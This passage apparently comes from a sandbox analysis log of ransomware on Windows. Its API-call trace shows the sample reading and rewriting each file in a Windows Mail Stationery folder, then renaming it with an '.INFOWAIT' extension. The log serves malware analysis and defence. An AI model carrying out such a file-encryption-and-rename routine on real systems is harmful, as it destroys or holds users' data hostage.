dwSize=0x13fb, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.740] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.740] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x13fb, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x13fb, lpOverlapped=0x0) returned 1 [0144.740] CloseHandle (hObject=0xad4) returned 1 [0144.741] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" [0144.741] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.INFOWAIT" [0144.741] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg.infowait")) returned 1 [0144.741] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.742] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.742] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.742] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.743] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe9 [0144.743] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.743] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.743] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xe9, lpOverlapped=0x0) returned 1 [0144.745] VirtualAlloc (lpAddress=0x0, dwSize=0xe9, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.745] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.745] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xe9, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xe9, lpOverlapped=0x0) returned 1 [0144.746] CloseHandle (hObject=0xad4) returned 1 [0144.746] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" [0144.746] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.INFOWAIT" [0144.746] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm.infowait")) returned 1 [0144.750] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.750] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.751] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.751] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.751] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x780 [0144.751] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.751] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.751] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x780, lpOverlapped=0x0) returned 1 [0144.888] VirtualAlloc (lpAddress=0x0, dwSize=0x780, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.888] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.888] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x780, lpOverlapped=0x0) returned 1 [0144.888] CloseHandle (hObject=0xad4) returned 1 [0144.888] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" [0144.889] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.INFOWAIT" [0144.889] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.infowait")) returned 1 [0144.889] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.890] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.890] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.890] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.890] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xed [0144.890] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.891] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.891] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xed, lpOverlapped=0x0) returned 1 [0144.892] VirtualAlloc (lpAddress=0x0, dwSize=0xed, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.892] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.892] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xed, lpOverlapped=0x0) returned 1 [0144.892] CloseHandle (hObject=0xad4) returned 1 [0144.892] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" [0144.892] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.INFOWAIT" [0144.892] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm.infowait")) returned 1 [0144.893] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.894] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.894] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.894] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.895] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x127e [0144.895] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.895] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.895] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x127e, lpOverlapped=0x0) returned 1 [0144.897] VirtualAlloc (lpAddress=0x0, dwSize=0x127e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.897] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.898] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x127e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x127e, lpOverlapped=0x0) returned 1 [0144.898] CloseHandle (hObject=0xad4) returned 1 [0144.898] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" [0144.898] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.INFOWAIT" [0144.898] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.infowait")) returned 1 [0144.898] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.899] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.899] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.899] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.900] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe8 [0144.900] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.900] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.900] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xe8, lpOverlapped=0x0) returned 1 [0144.901] VirtualAlloc (lpAddress=0x0, dwSize=0xe8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.902] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.902] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xe8, lpOverlapped=0x0) returned 1 [0144.902] CloseHandle (hObject=0xad4) returned 1 [0144.902] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" [0144.902] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.INFOWAIT" [0144.902] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm.infowait")) returned 1 [0144.902] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.903] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.903] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.903] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.903] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2949 [0144.904] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.904] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.904] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2949, lpOverlapped=0x0) returned 1 [0144.906] VirtualAlloc (lpAddress=0x0, dwSize=0x2949, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.906] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.906] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2949, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2949, lpOverlapped=0x0) returned 1 [0144.907] CloseHandle (hObject=0xad4) returned 1 [0144.907] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" [0144.907] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.INFOWAIT" [0144.907] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.infowait")) returned 1 [0144.908] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.909] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.909] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.909] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.910] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe6 [0144.910] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.910] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.910] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xe6, lpOverlapped=0x0) returned 1 [0144.911] VirtualAlloc (lpAddress=0x0, dwSize=0xe6, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.912] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.912] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xe6, lpOverlapped=0x0) returned 1 [0144.912] CloseHandle (hObject=0xad4) returned 1 [0144.912] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" [0144.912] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.INFOWAIT" [0144.912] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm.infowait")) returned 1 [0144.912] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.913] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.913] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.913] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.914] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1d51 [0144.914] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.914] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.914] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1d51, lpOverlapped=0x0) returned 1 [0145.365] VirtualAlloc (lpAddress=0x0, dwSize=0x1d51, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0145.366] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.366] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1d51, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1d51, lpOverlapped=0x0) returned 1 [0145.366] CloseHandle (hObject=0xad4) returned 1 [0145.366] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" [0145.366] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", lpString2=".INFOWAIT" | out: 